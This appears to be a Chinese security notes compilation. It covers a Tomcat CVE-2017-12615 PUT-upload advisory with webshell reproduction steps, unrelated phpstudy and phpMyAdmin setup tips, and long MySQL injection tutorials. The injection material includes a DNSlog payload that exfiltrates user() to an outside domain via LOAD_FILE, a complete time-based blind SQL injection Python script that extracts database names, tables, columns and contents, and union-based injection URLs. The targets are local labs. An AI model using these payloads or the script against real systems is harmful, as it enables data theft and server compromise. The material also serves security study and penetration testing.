CVE-2017-12615【tomcat错误配置,任意文件上传】

一. 漏洞简介

漏洞名称:CVE-2017-12615  “远程代码执行漏洞”

漏洞描述:Tomcat CVE-2017-12615远程代码执行漏洞 / CVE-2017-12616信息泄漏。
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。
CVE-2017-12616:信息泄露漏洞
当 Tomcat 中使用了 VirtualDirContext 时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由 VirtualDirContext 提供支持资源的 JSP 源代码。
CVE-2017-12615:远程代码执行漏洞
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

影响版本:
CVE-2017-12616影响范围:Apache Tomcat 7.0.0 – 7.0.80
CVE-2017-12615影响范围: Apache Tomcat 7.0.0 – 7.0.79

漏洞评级:高危

影响范围:RT
 
 
参考链接:
CVE-2017-12615:
https://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.81

二. 利用条件

CVE-2017-12615漏洞利用需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。
CVE-2017-12616漏洞需要在server.xml文件配置VirtualDirContext参数,经过实际测试,Tomcat 7.x版本内默认配置无VirtualDirContext参数,需要手工添加,默认配置条件下不受此漏洞影响。
根据绿盟最新研究在linux下也有影响,建议关闭PUT方法。

三. 漏洞测试

3.1白盒测试

开发人员检查是否使用受影响范围内的Apache Tomcat版本

3.2黑盒测试

1.首先搭建tomcat环境,需要预装下jdk,安装流程和配置参考:
http://www.ouyaoxiazai.com/soft/stgj/133/45254.html
搭建成功后,访问 http://10.74.53.11:8080/
2.开启PUT方法
安装好后,修改 C:\Program Files\Apache Software Foundation\Tomcat 7.0\conf\web.xml 配置文件,增加 readonly 设置为 false

3.然后使用burpsuite抓包把GET方法转为PUT方法写入数据,如下:

注意:PUT路径要用/结束,写入成功后,会返回201或者200,如果返回404说明没有写/

写入成功后,在服务器的 web目录,如下
C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT增加了test.jsp文件

4.访问上传的木马 http://10.74.53.11:8080/test.jsp?pwd=023&i=whoami

复现参考:https://www.secfree.com/article-399.html
POC&EXP参考:
https://github.com/fupinglee/MyPython/blob/92394ff98b02c1d81361ce2d5ae9f53f527a2a6b/exploit/CVE-2017-12615/CVE-2017-12615.py?from=groupmessage&isappinstalled=1

3.3其他补充

其他

四. 解决方案

根据业务评估配置readonly和VirtualDirContext值为Ture或注释参数,禁用PUT方法并重启tomcat,临时规避安全风险,升级为最新版本;
注意: 如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
官方已经发布Apache Tomcat 7.0.81 版本修复了两个漏洞建议升级最新版。

Centos 安装 phpstudy

下载版:http://lamp.phpstudy.net/phpstudy.bin
完整版:http://lamp.phpstudy.net/phpstudy-all.bin

#安装:
wget -c http://lamp.phpstudy.net/phpstudy.bin
chmod +x phpstudy.bin #权限设置
./phpstudy.bin     #运行安装

如何切换php版:
假如你先安装的apache+php5.3
想切换成nginx+php5.4
你就再走一次./phpstudy.bin
但是你会发现有一行是否安装mysql提示选不安装
这样只需要编译nginx+php5.4
从而节省时间,这样只需要几分钟即可。

使用说明:

服务进程管理:phpstudy (start|stop|restart|uninstall)
站点主机管理:phpstudy (add|del|list)
ftpd用户管理:phpstudy ftp (add|del|list)

安装完后,mysql默认账户密码都是root
#http://lamp.phpstudy.net/
======================================================================

phpmyadmin登陆一闪而过的问题
#https://www.lvtao.net/server/php-phpmyadmin-session-path.html

1、在php.ini 找到session.save_path 这一行,设成session.save_path = “/home/webserver/php/session”,并把前面的分号去掉。
以上的/home/webserver/php/session/根据你实际情况设定。(也或者设置目录为/tmp/)
2、修改此目录的权限和属主:
# chown -R www:www /home/webserver/php/session
(nobody权限很低,最好设置它为web运行账户!)
# chmod 777 /home/webserver/php/session
(session目录至少设置770权限以上,否则phpmyadmin登录会有问题。)
3、重启php-fpm服务:service php-fpm restart

之后phpmyadmin就可以正常登陆,连接mysql数据库了
导致上述问题和一些与php程序相关的错误(如php不保存session),原因在于:没有给php设置session的临时目录!
今天发现系统时间出错也会出现这个问题!如果按照上面的步骤修改之后还不能登录,请把系统时间修改正确!误差要在一分钟之内!

======================================================================

访问 wordpress 文章 出现 404 Not Found
开启Mod_rewrite模块方法:
1、直接打开\conf\httpd.conf
2、搜索 LoadModule rewrite_module modules/mod_rewrite.so (可能版本不一样这个不一样,不过Apache2都是这个),去掉前面的#
3、搜索AllowOverride None 替换为 AllowOverride All
#http://www.cnblogs.com/wuyinghong/p/3928564.html

php,python使用%s,%d修复sql注入漏洞

原以为底层%s格式化字符串和pdo实现类似,实际测试了下不是一回事。

php测试代码

//$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql = sprintf("SELECT * FROM users WHERE id='%s' LIMIT 0,1",$id);//%d 可以修复
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

web.py测试代码

import web
import MySQLdb
urls = (
    #'/', 'index' #1,2
    '/(.*?)', 'index'
)
class index:
    def GET(self,name):
        parame = web.input()
        conn = MySQLdb.connect(
        host = 'localhost',
        user = 'root',
        passwd = 'root',
        db = 'security',
        port = 3306,
        charset ='utf8',
        )
        cur = conn.cursor()
        #SELECT * FROM users where id=1
        #sqli_select = "SELECT password FROM users WHERE id = '%s'" % (parame.name) #错误写法
        #sqli_select = ("SELECT password FROM users WHERE id = '%s'",(parame.name)) #正确写法,使用元祖传给execute函数
        sqli_select = "SELECT password FROM users WHERE id = '%d'" % (parame.name) #正确写法
        cur.execute(sqli_select)
        return cur.fetchone()            
if __name__ == "__main__":
    app = web.application(urls, globals())
    app.run()

PDO预编译方式是分为两次发送数据,一次sql模版, 一次参数防止sql注入。

命令执行时 管道符 | 和 & 的区别

管道符区别:
“|” :仅能处理最后面一个指令传出的正确输出信息;
“&” :能处理所有指令传出的正确输出信息;

C:\Windows\system32>echo 1 | echo 2
2

C:\Windows\system32>echo 1 & echo 2
1
2

区别是在命令执行时,当传入的参数拼接前后都有命令的话,使用|不会返回中间的命令结果

mysql注入之dnslog盲注加速

#拼接域名
select concat(version(),’.0535code.com’) #返回 5.5.53.0535code.com

#注意
1.域名前缀长度限制在63个字符,解决办法是用mid()函数来获取。
2.域名前缀不支持一些特殊字符,如*,解决办法是用hex()或者其他加密函数,获取到数据后再解密。

#读取文件时会解析dns协议
load_file()

#使用T00ls dnslog,或者自己找别的。
您的查询记录是t00ls.052d281fb2a9087f771cb57f7d5f02ad.tu4.org(怎么使用,自己领悟)
#测试
ping t00ls.052d281fb2a9087f771cb57f7d5f02ad.tu4.org

mysql特殊性

#启动apache
D:\phpStudy\Apache\bin\httpd.exe

#启动mysql 5.5.53之后版本,5.5.53之前的版本不需要
D:\phpStudy\MySQL\bin>mysqld.exe –secure-file-priv=
或者配置文件my.ini加入 secure-file-priv=

#构造exp
SELECT LOAD_FILE(CONCAT(‘\\\\’,(select hex(user())),’.t00ls.052d281fb2a9087f771cb57f7d5f02ad.tu4.org\\abc’))

#汇总常用函数
version() #获取mysql版本号
user() #返回当前用户名
select count(*) from mysql.user #返回用户数量
select count(*) from information_schema.schemata #返回数据库数量
database() #返回数据库名
select table_name from information_schema.tables where table_schema=’security’ limit 0,1 #获取第一个表名
select column_name from information_schema.columns where table_schema=’security’ and TABLE_NAME=’emails’ limit 0,1 #获取第一个字段名
select id from emails limit 0,1 #获取第一个字段名

mysql注入之时间延迟注入

#时间延迟盲注 与 布尔类型盲注 相似

#睡眠函数
sleep()

#手工测试
http://127.0.0.4/Less-1/index.php?id=1′ and sleep(0) –+
http://127.0.0.4/Less-1/index.php?id=1′ and sleep(10) –+
两者对比明显有延迟

# coding=utf-8
import requests
import time

#解决编码问题
import sys  
reload(sys)  
sys.setdefaultencoding('utf8')  


"""
取出特征
#if(条件,是,否),sleep放前面和后面的区别,放后面 条件不对就延迟是不机智的
#调试下面语句,说明如果 条件成立 则打开页面会出现延迟
#select if(ord(mid(version(),1,1))>=53,sleep(5),0)
"""

   
#sql盲注测试类
class Sql_bool():
    #主机头
    header = {
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0",
        "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
        "Accept-Encoding":"gzip, deflate, br",
        "Cookie":"PHPSESSID=op3mp10kotct1hvfa8a6g6ko14",
        "Connection":"close",
        "Upgrade-Insecure-Requests":"1",
    }
    #注入点
    host = "http://127.0.0.4/Less-1/index.php?id=1"

    #根据特征判断返回真假
    def html_bool(self,bool_sql):
        #传入布尔类型条件 bool_sql

        #拼接注入url
        #url = self.host + "\' and " + bool_sql + " --+"
        url = self.host + "\' and if(" + bool_sql + ",sleep(5),0) --+"
        print url


        ###############修改为布尔类型#################
        #记录开始时间
        time_star=time.time()
        #开始请求
        html = requests.get(url = url,headers = self.header).content
        #记录结束时间
        end_time=time.time()

        #取得打开页面时间差
        sleep_time = end_time - time_star
        #判断是否延迟

        #延迟时间不能太小,容易误报,也不能太大,时间较长
        if sleep_time>=5:
            print "success"
            return True
        else:
            print "error"
            return False


    #判断数据库版本确定索引表
    def get_version(self):
        #判断数据库版本 SELECT ord(mid(version(),1,1))
        #5的ascii码值是 53
        bool_sql = "ord(mid(version(),1,1))>=53"
        self.html_bool(bool_sql)

    #判断数据库用户权限
    def get_user_first(self):
        #判断数据库用户权限:
        #返回正常说明为root,这样是判断第一个字母r,可能是root账户,不能完全证明 root 权限,权限表Y
        #r的ascii码值是 114
        bool_sql = "ord(mid(user(),1,1))=114"
        self.html_bool(bool_sql)


    #判断数据库用户数量
    def get_user_count(self):
        bool_sql = "(select count(*) from mysql.user)=3"
        self.html_bool(bool_sql)


    #判断数据库用户长度
    def get_user_len(self):
        #判断数据库用户长度
        #返回的是用户@主机名的长度 root@localhost
        bool_sql = "Length(user())=14"
        self.html_bool(bool_sql)


    #判断数据库当前用户名
    def get_user(self):
        #定义返回的字符串
        result = ""
        #bool_sql = "ord(mid(user(),1,1))=1"
        for i in xrange(1,14+1):
            #bool_sql = "ord(mid(user(),1,1))=114" 取有效ascii码48,122
            for j in xrange(48,122):
                #理解mid函数,当 mid后是字符串,用ascii码转化为ascii码时取第一个字母的ascii码
                bool_sql = "ord(mid(user(),%d,14))=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"用户名为:",result


    #判断数据库数量
    def get_db_count(self):
        bool_sql = "(select count(*) from information_schema.schemata)=15"
        self.html_bool(bool_sql)
        #使用 SELECT * FROM SCHEMATA limit 3,1 遍历表明
        # limit 从第几个开始,返回几个


    #判断数据库名长度
    def get_db_len(self):
        #判断数据库用户长度
        #返回的是用户@主机名的长度 root@localhost
        bool_sql = "Length(database())=8"
        self.html_bool(bool_sql)            


    #判断数据库名称 security
    def get_database(self):
        #定义返回的字符串
        result = ""
        for i in xrange(1,8+1):
            #取有效ascii码48,122
            for j in xrange(48,122):
                bool_sql = "ord(mid(database(),%d,8))=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"数据库名为:",result

    #判断表名长度,上面跑出数据库了,security
    def get_table_len(self):
        #pass
        #select length(table_name) from information_schema.tables where table_schema='security' limit 0,1
        bool_sql = "(select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6"
        self.html_bool(bool_sql)

    #获取表名
    def get_table(self):
        #定义返回的字符串
        result = ""
        for i in xrange(1,6+1):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select table_name from information_schema.tables where table_schema='security' limit 0,1)   ,%d,6) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"第一个表名为:",result      

    #获取字段名长度
    def get_columns_len(self):
        #pass
        #select length(column_name) from information_schema.columns where table_schema='security' and TABLE_NAME='emails' limit 0,1
        bool_sql = "(select length(column_name) from information_schema.columns where table_schema='security' and TABLE_NAME='emails' limit 0,1)=2"
        self.html_bool(bool_sql)

    #获取字段名
    def get_columns(self):
        #定义返回的字符串
        result = ""
        for i in xrange(1,2+1):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select column_name from information_schema.columns where table_schema='security' and TABLE_NAME='emails' limit 0,1)   ,%d,2) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"第一个字段名为:",result        
   
    #获取字段内容,字段长度假设是5,按照上面方法获取字段内容长度
    def get_content(self):
        #pass
        #select id from emails limit 0,1
        #定义返回的字符串
        result = ""
        for i in xrange(1,5):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select id from emails limit 0,1)   ,%d,5) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"第一列第一个字段内容为:",result    
   
    #16进制获取中文数据
    #修改第二个字段为中文,获取盲注时 中文的内容,把email_id第一个字段值改为  你好
    def get_china_content(self):
        #pass
        #select hex(email_id) from emails limit 0,1 返回 C4E3BAC3
        #定义返回的字符串
        result = ""
        for i in xrange(1,10):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select hex(email_id) from emails limit 0,1)   ,%d,10) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"测试取中文内容的16进制为:",result
        #解16进制中文内容,在控制台打开显示    
        print "\xC4\xE3\xBA\xC3"
        #在中文与英文等混合的情况下,先用16个字母和特殊字符做对比,如果获取不到再用中文,sqlmap之所以跑出乱码,是在解码时没解好!
        #SELECT HEX(  '你是ss' ) + py测试乱码问题,解决sqlma编码问题
        #print "\xE4\xBD\xA0\xE6\x98\xAF".decode("utf")

       
    #提高sql注入效率
    #二分算法 使用(+多线程+dnslog)
    def BinarySearch(self,low,height,key):
        #强制类型转换
        low = int(low) #最小值
        height = int(height) #最大值
        #初始化 中间值
        mid = ''
        #消息循环
        while True :
            #获取中间值
            mid = (low+height)/2
            print u"长度",key,u" ------- 正在分值",mid,low,height  
            #分到最后时,最小值和最大值相等
            if mid == low :
                #把中间值转换为ascii嘛输出,因为<= 所以需要 +1
                result = chr(mid+1)
                print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),"[+]",mid+1,result
                return True
            #判断取得值是否 小于等于最小值
            elif int(key) <= int(mid):
                #把中间值给最大值
                height = mid
            else :
                #如果不是的话把 中间值给最小值
                low = mid  

    #二分法获取数据库名实例
    def BinarySearch_update(self):
        #初始化结果
        global test
        test = ''

        #循环遍历9个长度的数据名
        for i in xrange(1,9):
            #强制类型转换
            low = 48 #最小值
            height = 122 #最大值
            #初始化 中间值
            mid = ''
            #消息循环
            while True :
                #获取中间值
                mid = (low+height)/2
                #sql标识,之前是等于,现在是小于等于 二分法
                bool_sql = "ord(mid(database(),%d,8))<=%d" % (i,mid)
                print u"长度9",u" ------- 正在分值",mid,low,height
                #time.sleep(1)  
                #分到最后时,最小值和最大值相等
                if mid == low :
                    #把中间值转换为ascii嘛输出,因为<= 所以需要 +1
                    result = chr(mid+1)
                    print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),"[+]",mid+1,result
                    test = test + result
                    break
                    #return True
                #判断取得值是否 小于等于最小值
                elif self.html_bool(bool_sql):
                    #把中间值给最大值
                    height = mid
                else :
                    #如果不是的话把 中间值给最小值
                    low = mid
        else :
            print  test

    ##多线程+队列 提高速度,判断表前缀提高速度等等

test = Sql_bool()
#test.get_version() #获取版本号
#test.get_user_first() #获取数据库用户权限
#test.get_user_count() #获取数据库用户数量
#test.get_user_len() #获取数据库用户长度
#test.get_user() #获取数据库当前用户名
#test.get_db_count() #获取数据库数量
#test.get_db_len() #获取数据库长度
#test.get_database() #获取数据库名
#test.get_table_len() #获取表名长度
#test.get_table() #获取表名
#test.get_columns_len() #获取字段名长度
#test.get_columns() #获取字段名
#test.get_content() #获取第一列第一个字段内容
#test.get_china_content() #获取中文内容

#test.BinarySearch(0,127,55) #二分法快速查找实例
#test.BinarySearch_update() # 二分法获取数据库名实例

mysql注入之union联合查询注入

#union all 和 union 区别
union all是直接连接,取到得是所有值,记录可能有重复
union 是取唯一值,记录没有重复

#union 联合查询,前后字段数量应该保持一致,否则提示列数不一致
The used SELECT statements have a different number of columns

#依次测试,到3返回正常,说明有3列
http://127.0.0.4/Less-1/index.php?id=1′ union all select 1 –+
http://127.0.0.4/Less-1/index.php?id=1′ union all select 1,2 –+
http://127.0.0.4/Less-1/index.php?id=1′ union all select 1,2,3 –+

#怎么爆出数据呢?要id不存在,返回后面的值
http://127.0.0.4/Less-1/index.php?id=1111′ union all select 1,2,3 –+

#可以看到显示字段的位置,把对应的字段换成以下函数,即可爆库

比如:
http://127.0.0.4/Less-1/index.php?id=1111′ union all select 1,database(),3 –+

#汇总常用函数
version() #获取mysql版本号
user() #返回当前用户名
select count(*) from mysql.user #返回用户数量
select count(*) from information_schema.schemata #返回数据库数量
database() #返回数据库名
select table_name from information_schema.tables where table_schema=’security’ limit 0,1 #获取第一个表名
select column_name from information_schema.columns where table_schema=’security’ and TABLE_NAME=’emails’ limit 0,1 #获取第一个字段名
select id from emails limit 0,1 #获取第一个字段名

#####使用 order by 判断列数,也可结合其他注入方式结合利用#

#判断数据库当前表有几列
http://127.0.0.4/Less-1/index.php?id=1′ order by 1,2,3,4 –+

拼接起来就是
SELECT * FROM users WHERE id=’1′ order by 1,2,3,4 –+’ LIMIT 0,1

当是三个字段正常,增加到4则报错,第四个不存在
SELECT * FROM users WHERE id=’1′ order by 1,2,3